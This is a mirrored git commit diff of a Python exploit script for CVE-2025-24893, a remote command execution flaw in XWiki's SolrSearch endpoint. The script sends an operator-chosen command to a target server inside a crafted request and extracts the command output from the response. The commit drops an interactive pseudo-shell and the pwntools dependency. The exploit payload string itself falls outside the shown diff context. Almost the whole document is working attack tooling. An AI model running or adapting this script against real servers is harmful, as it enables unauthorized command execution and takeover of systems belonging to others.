mirror of
https://github.com/andwati/CVE-2025-24893.git
synced 2026-12-03 21:18:45 +00:00
Update CVE-2025-24893.py
This commit is contained in:
+11
-43
@@ -1,11 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from pwn import *
|
|
||||||
import requests
|
import requests
|
||||||
import re
|
import re
|
||||||
import html2text
|
|
||||||
import argparse
|
import argparse
|
||||||
|
import html2text
|
||||||
context.log_level = "info"
|
|
||||||
|
|
||||||
def exploit(url, command):
|
def exploit(url, command):
|
||||||
payload = (
|
payload = (
|
||||||
@@ -15,52 +12,23 @@ def exploit(url, command):
|
|||||||
)
|
)
|
||||||
full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
|
full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
|
||||||
|
|
||||||
log.info(f"Sending payload to: {full_url}")
|
print(f"[*] Sending payload to: {full_url}")
|
||||||
try:
|
try:
|
||||||
response = requests.get(full_url, timeout=10)
|
response = requests.get(full_url, timeout=10)
|
||||||
except requests.exceptions.RequestException as e:
|
except requests.exceptions.RequestException as e:
|
||||||
log.error(f"Connection error: {e}")
|
print(f"[!] Connection error: {e}")
|
||||||
return None
|
return
|
||||||
|
|
||||||
# Extract [}}} and ]
|
|
||||||
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
|
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
|
||||||
if match:
|
if match:
|
||||||
raw_output = match.group(1).strip()
|
raw_output = match.group(1).strip()
|
||||||
output = h2t.handle(raw_output).strip()
|
output = h2t.handle(raw_output).strip()
|
||||||
return output if output else None
|
if output:
|
||||||
return None
|
print(f"\n[+] Command output:\n{output}")
|
||||||
|
|
||||||
|
|
||||||
def shell(url):
|
|
||||||
log.success("Dropping into interactive shell (type commands, Ctrl+C to exit)")
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
cmd = input("$ ")
|
|
||||||
if not cmd.strip():
|
|
||||||
continue
|
|
||||||
output = exploit(url, cmd)
|
|
||||||
if output:
|
|
||||||
print(output)
|
|
||||||
else:
|
|
||||||
log.warn("No output (maybe empty command result?)")
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
log.info("Exiting shell.")
|
|
||||||
break
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
url = args.URL.rstrip("/")
|
|
||||||
command = args.CMD
|
|
||||||
|
|
||||||
if command:
|
|
||||||
out = exploit(url, command)
|
|
||||||
if out:
|
|
||||||
print(f"\n[+] Command output '{command}':\n")
|
|
||||||
print(out)
|
|
||||||
else:
|
else:
|
||||||
log.warn("Command executed but returned no output.")
|
print("[!] Command executed but returned no output.")
|
||||||
else:
|
else:
|
||||||
shell(url)
|
print("[!] No output found in response.")
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
@@ -70,8 +38,8 @@ if __name__ == "__main__":
|
|||||||
parser = argparse.ArgumentParser(
|
parser = argparse.ArgumentParser(
|
||||||
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
||||||
)
|
)
|
||||||
parser.add_argument("-u", "--url", dest="URL", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
|
parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
|
||||||
parser.add_argument("-c", "--command", dest="CMD", help="Single command to run, omit for interactive shell")
|
parser.add_argument("-c", "--command", required=True, help="Command to execute")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
main()
|
exploit(args.url.rstrip("/"), args.command)
|
||||||
|
|||||||
Reference in New Issue
Block a user